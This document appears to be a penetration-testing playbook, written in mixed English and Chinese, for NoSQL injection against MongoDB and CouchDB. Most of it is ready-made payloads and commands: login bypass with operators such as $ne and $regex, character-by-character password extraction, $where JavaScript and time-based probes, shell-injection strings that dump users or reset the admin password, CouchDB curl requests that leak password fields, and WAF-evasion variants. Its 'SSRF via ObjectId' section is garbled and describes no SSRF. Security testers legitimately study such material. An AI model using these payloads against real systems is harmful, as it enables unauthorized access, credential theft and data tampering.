NoSQL databases (primarily MongoDB) use structured query objects rather than SQL strings, but this does not mean they are secure—when an application directly concatenates user input into a query object, an attacker can inject query operators to alter the query logic.
Phase 0: Quick Identification
| Signal | Assessment |
|---|---|
JSON-formatted login request (Content-Type: application/json) |
High probability of MongoDB backend |
| Node.js / Express tech stack | MongoDB is the most common database for Node.js |
Error message contains MongoError、CastError、BSONTypeError |
Confirms MongoDB |
URL contains mongodb:// connection string |
Confirms MongoDB |
| Python Flask + PyMongo / Mongoose ODM | Confirms MongoDB |
Parameter values accept objects/arrays (e.g. user[$ne]=x) |
Operator injection possible |
CouchDB /_all_docs、/_find endpoint |
CouchDB injection |
Phase 1: Authentication Bypass (Highest Priority)
The most common exploitation scenario for NoSQL injection is bypassing login authentication.
1.1 Operator Injection
Core idea: turn {"username": "admin", "password": "xxx"} into {"username": "admin", "password": {"$ne": ""}}, making the password check always true.
JSON format (Content-Type: application/json):
{"username": "admin", "password": {"$ne": ""}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$ne": ""}, "password": {"$ne": ""}}
{"username": {"$regex": "^admin"}, "password": {"$ne": ""}}
URL-encoded format (Content-Type: application/x-www-form-urlencoded):
username=admin&password[$ne]=
username[$ne]=invalid&password[$ne]=invalid
username=admin&password[$gt]=
username[$regex]=^adm&password[$ne]=
Why try both formats: Express's
qsmiddleware automatically parsesuser[$ne]into{user: {$ne: ""}}, but some applications only accept JSON, and some only accept URL encoding. Trying both ensures nothing is missed.
1.2 Quick Test Flow
1. 正常登录请求 → 记录失败响应(状态码/长度/内容)
2. 替换 password 为 {"$ne": ""} → 对比响应差异
3. 如果 JSON 不行,换 URL 编码: password[$ne]=
4. 如果 $ne 不行,试 $gt、$gte、$exists:true
5. 绕过用户名: username={"$regex": ".*"} 配合 password={"$ne": ""}
1.3 Enumerate Valid Usernames
{"username": {"$regex": "^a"}, "password": {"$ne": ""}}
{"username": {"$regex": "^ad"}, "password": {"$ne": ""}}
{"username": {"$regex": "^adm"}, "password": {"$ne": ""}}
Increment character by character, and determine whether the username matches based on response differences.
Phase 2: Data Extraction (Blind Injection)
When the injection point is not in a login scenario, or when specific field values need to be extracted.
2.1 $regex Blind Extraction
Principle: Guess the field value character by character via regex, and determine whether the character is correct based on response differences (true/false, 200/401, content length).
{"username": "admin", "password": {"$regex": "^a"}}
{"username": "admin", "password": {"$regex": "^ab"}}
{"username": "admin", "password": {"$regex": "^abc"}}
Automation Script Template → read references/nosql-payloads.md
2.2 $where JavaScript Injection
$where The operator allows arbitrary JavaScript to be executed in the query (MongoDB 4.x and below):
{"$where": "this.username == 'admin' && this.password.match(/^a.*/)"}
Conditional check (blind injection oracle):
{"$where": "function(){return this.password.length > 5}"}
{"$where": "function(){return this.password[0] == 'a'}"}
Time-based blind injection:
{"$where": "function(){if(this.password.match(/^a.*/)){sleep(3000);return true;}return false;}"}
$whereDepends on whether server-side JavaScript is enabled; it can be disabled via--noscriptingorsecurity.javascriptEnabled: false. As of MongoDB 8.0, server-side JavaScript (including$where) is deprecated, but 5.x/6.x/7.x should not be assumed unavailable by default.
2.3 $lookup Cross-Collection Reads (Aggregation Pipeline Injection)
If the injection point is in an aggregation pipeline parameter:
[{"$lookup": {"from": "users", "localField": "_id", "foreignField": "_id", "as": "leaked"}}]
Phase 3: Advanced Exploitation
3.1 MongoDB SSRF (via ObjectId)
Some applications use the timestamp portion of an ObjectId to generate information:
ObjectId("507f1f77bcf86cd799439011")
↓ 前 8 位 hex = Unix 时间戳
507f1f77 → 2012-10-17T21:02:31Z
3.2 MongoDB Shell Injection
When input is directly concatenated into mongo In shell commands (rare but fatal):
'; db.users.find().forEach(printjson); var x='
'; db.users.update({username:"admin"},{$set:{password:"hacked"}}); var x='
3.3 CouchDB-Specific Attacks
CouchDB uses a REST API, so the injection method is different:
# 未授权访问检测
curl http://TARGET:5984/_all_dbs
# Mango 查询注入(/_find 端点)
curl -X POST http://TARGET:5984/dbname/_find \
-H "Content-Type: application/json" \
-d '{"selector":{"password":{"$gt":null}},"fields":["_id","username","password"]}'
# 篡改 design document(需要 admin):改变 view 输出或隐藏/污染查询结果
curl -X PUT http://TARGET:5984/testdb/_design/exploit \
-H "Content-Type: application/json" \
-d '{"views":{"leak":{"map":"function(doc){ if (doc.password) emit(doc._id, doc.password); }"}}}'
Phase 4: Defense Bypass
4.1 Type Conversion Bypass
Some WAFs only check for the $ symbol in strings:
// 原始
{"password": {"$ne": ""}}
// Unicode 绕过
{"password": {"\u0024ne": ""}}
// 深层嵌套
{"password": {"$not": {"$eq": "wrong_password"}}}
4.2 Content-Type Switching
If the WAF only checks the JSON format:
Content-Type: application/x-www-form-urlencoded
password[$ne]=&username=admin
Conversely, if the WAF only checks URL parameters:
Content-Type: application/json
{"password": {"$ne": ""}}
4.3 Operator Variants
{"$ne": "x"} // 不等于
{"$gt": ""} // 大于空字符串
{"$gte": " "} // 大于等于空格
{"$exists": true} // 字段存在
{"$in": ["admin"]} // 在列表中
{"$nin": [""]} // 不在列表中
{"$not": {"$eq": "wrong"}} // 双重否定
Tool Recommendations
| Tool | Purpose | Command |
|---|---|---|
| NoSQLMap | Automated NoSQL injection | python nosqlmap.py -u http://TARGET/login -p username,password |
| mongosh | Direct connection testing | mongosh mongodb://TARGET:27017 |
| Burp Intruder | Operator fuzzing | Test operators one by one using a payload list |
Decision Tree
发现登录页面 + JSON 请求
├── 试 {"password":{"$ne":""}} → 成功?→ 认证绕过 ✅
├── 试 password[$ne]= (URL编码) → 成功?→ 认证绕过 ✅
├── 两种都失败
│ ├── 检查是否有 WAF → Phase 4 绕过
│ ├── 检查是否 MongoDB → 错误信息/指纹
│ └── 不是 NoSQL → 尝试 SQL 注入
└── 需要提取数据
├── $regex 盲注 → Phase 2.1
├── $where JS 注入 → Phase 2.2
└── 聚合管道 → Phase 2.3
Reference Resources
- Complete payload table + automation scripts → references/nosql-payloads.md